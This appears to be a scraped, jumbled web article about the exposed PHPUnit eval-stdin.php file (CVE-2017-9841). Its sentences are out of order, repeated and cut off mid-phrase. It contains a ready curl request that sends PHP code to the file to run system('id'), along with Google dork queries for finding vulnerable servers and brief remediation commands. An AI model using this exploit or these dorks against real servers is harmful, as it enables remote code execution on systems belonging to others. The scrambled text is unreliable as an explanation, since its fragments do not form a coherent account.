Index — Of Vendor Phpunit Phpunit Src Util Php Evalstdinphp
When performing code audits, penetration testing, or even routine debugging of legacy PHP applications, you may stumble upon a peculiar search query or directory listing: "index of vendor phpunit phpunit src util php evalstdinphp" .
Always remember: If you discover an exposed eval-stdin.php , treat it as a confirmed remote code execution vulnerability and remediate immediately. Last updated: October 2023. The vulnerability (CVE-2017-9841) remains actively scanned for, even years after the patch. index of vendor phpunit phpunit src util php evalstdinphp
curl -X POST http://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "<?php system('id'); ?>" If the server returns uid=www-data(33)... , the attacker has achieved . When performing code audits, penetration testing, or even
intitle:"index of" "vendor/phpunit/phpunit/src/Util/PHP" intitle:"index of" "eval-stdin.php" To run tests in isolated processes
# /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php eval('?>' . file_get_contents('php://stdin')); In a legitimate development environment (CLI), a developer might pipe PHP code into this script:
If you see an "index of" listing containing this exact path on a live web server, you have found a critical security misconfiguration. PHPUnit is a testing framework. To run tests in isolated processes, PHPUnit sometimes needs to spin up a separate PHP process, send it some code, and capture the output. The eval-stdin.php file was written to facilitate this.
rm -f public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php Or better, remove the entire phpunit directory if not needed: